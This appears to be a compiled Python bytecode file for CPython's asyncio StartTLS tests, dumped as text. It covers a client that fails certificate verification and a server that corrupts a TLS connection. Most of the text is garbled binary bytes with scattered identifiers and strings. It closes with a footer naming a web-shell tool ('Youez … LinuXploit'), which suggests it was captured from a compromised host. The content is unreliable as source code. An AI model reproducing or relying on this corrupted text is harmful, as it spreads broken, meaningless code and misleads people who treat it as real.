tj�5|jj||j��ddd�ddd�y#1swY�xYw#1swYyxYw)Nc��yrr�rr�s  rr�zLBaseStartTLS.test_create_connection_ssl_failed_certificate.<locals>.<lambda>����$rF)�disable_verifyc���	|j�d��|j	�y#tj$rY�&t$rY�0wxYw#|j	�wxYw)NTr�)r�r2�SSLError�OSErrorr*)rvrks �rrezJBaseStartTLS.test_create_connection_ssl_failed_certificate.<locals>.server�sY���	
����� $��&��
�
����<�<�
���
��
���
�
��s+�'�A�A
�A�A
�A�A
�
Ac��r�K�tj|�dtjd���d{���\}}y7��w)Nrsrt)r
rr�LOOPBACK_TIMEOUTr�s   �rrzJBaseStartTLS.test_create_connection_ssl_failed_certificate.<locals>.clients:�����#*�#:�#:��!� "�&-�&>�&>�	$@�@�N�F�F�@�s�)7�5�	7r�rw)rr�r"rrrrir2�SSLCertVerificationErrorrur�)rrerrrvrks    @@r�-test_create_connection_ssl_failed_certificatez:BaseStartTLS.test_create_connection_ssl_failed_certificate�s�����	�	�'�'�(>�?��4�4�6��"�;�;� �"�
�
	�	@��_�_�V�)*�%&��(�+.��"�"�3�#?�#?�@��	�	�,�,�V�C�H�H�-=�>�A�	(�(�A�@��	(�(�s$�' C�,C�3C�C
	�	C�Cc�t�����jjd��tj��tj���fd�}��fd�}�j|dd��5}�jj
||j��}ddd��jd�y#1swY�xYw)Nc��yrrr�s  rr�zBBaseStartTLS.test_start_tls_client_corrupted_ssl.<locals>.<lambda>r�rc�p��|j�}	|j�d��|jd�|jd�|j	d�|j�|j�y#t
j$rY�6wxYw#|j�|j�wxYw)NTr��A
r�s!please corrupt the SSL connection)�dupr�r�r�rmr2r�r*)rv�	orig_sockrks  �rrez@BaseStartTLS.test_start_tls_client_corrupted_ssl.<locals>.servers�������
�I�
����� $��&����V�$��
�
�a� ����C�D����!��
�
���	�<�<�
��
�����!��
�
��s$�AA:�:B�
B�B�B�"B5c���K�tj|�dd���d{���\}}�j|j��d{���d�|j	d��jtj�5|j��d{���ddd�|j�y7��7�m7�!#1swY� xYw�w)Nrs)r2rur��B�OK)	r
rr��readliner6rir2r�r*)r�rwrhrvrs   ��rrz@BaseStartTLS.test_start_tls_client_corrupted_ssl.<locals>.client$s������#*�#:�#:��!� "�$$�$�N�F�F�

���6�?�?�#4�4�f�=��L�L����"�"�3�<�<�0��o�o�'�'�'�1�
�L�L�N��$��
5��(��1�0�sK�C�B/�%C�B1�9C�=B5�B3�B5�C�1C�3B5�5B>�:Cr�rwr�)	rr�r"rrrrur�r�)rrerr�resrvrks`    @@r�#test_start_tls_client_corrupted_sslz0BaseStartTLS.test_start_tls_client_corrupted_ssls�����	�	�'�'�(>�?��4�4�6��"�;�;�=�
�
	�	��_�_�V�)*�%&��(�+.��)�)�.�.�v�c�h�h�/?�@�C�	(�	
����d�#�
(�(�s�',B.�.B7N)r�r�r�rr�LONG_TIMEOUTr�r�r�rrr�skip_if_tcp_blackholer7rGrgrlrzr�r�r�rrrr�r��s����L��"�"�G�"�-H�^@,�D>,�@�(�(�Y8�)�Y8�v;A�z�(�(�W1�)�W1�r	-�.+�`'�B?�B)$rr�c��eZdZd�Zy)�SelectorStartTLSTestsc�*�tj�Sr)r
�SelectorEventLoopr�s rr�zSelectorStartTLSTests.new_loop>����(�(�*�*rN�r�r�r�r�rrrr�r�;s��+rr��ProactorEventLoopzWindows onlyc��eZdZd�Zy)�ProactorStartTLSTestsc�*�tj�Sr)r
r�r�s rr�zProactorStartTLSTests.new_loopFr�rNr�rrrr�r�Bs��+rr��__main__)!�__doc__rWr��unittestr�testr�test.supportrrr2�ImportErrorr
rrr�test.test_asyncior	r"r
�
func_testsr�skipIf�TestCaser�FunctionalTestCaseMixinr�r��
skipUnless�hasattrr�r�rjrrr�<module>r�sB��$��
����&��������1�6�(��������o�.�B1�Z�0�0�B1�/�B1�TR	$�:�5�5�R	$�j�������o�.�+�L�(�*;�*;�+�/�+��������o�.�����W�W�&9�:�N�K�+�L�(�*;�*;�+�L�/�+��z���H�M�M�O���}��
�C��s�D"�"D-�,D-

Youez - 2016 - github.com/yon3zu
LinuXploit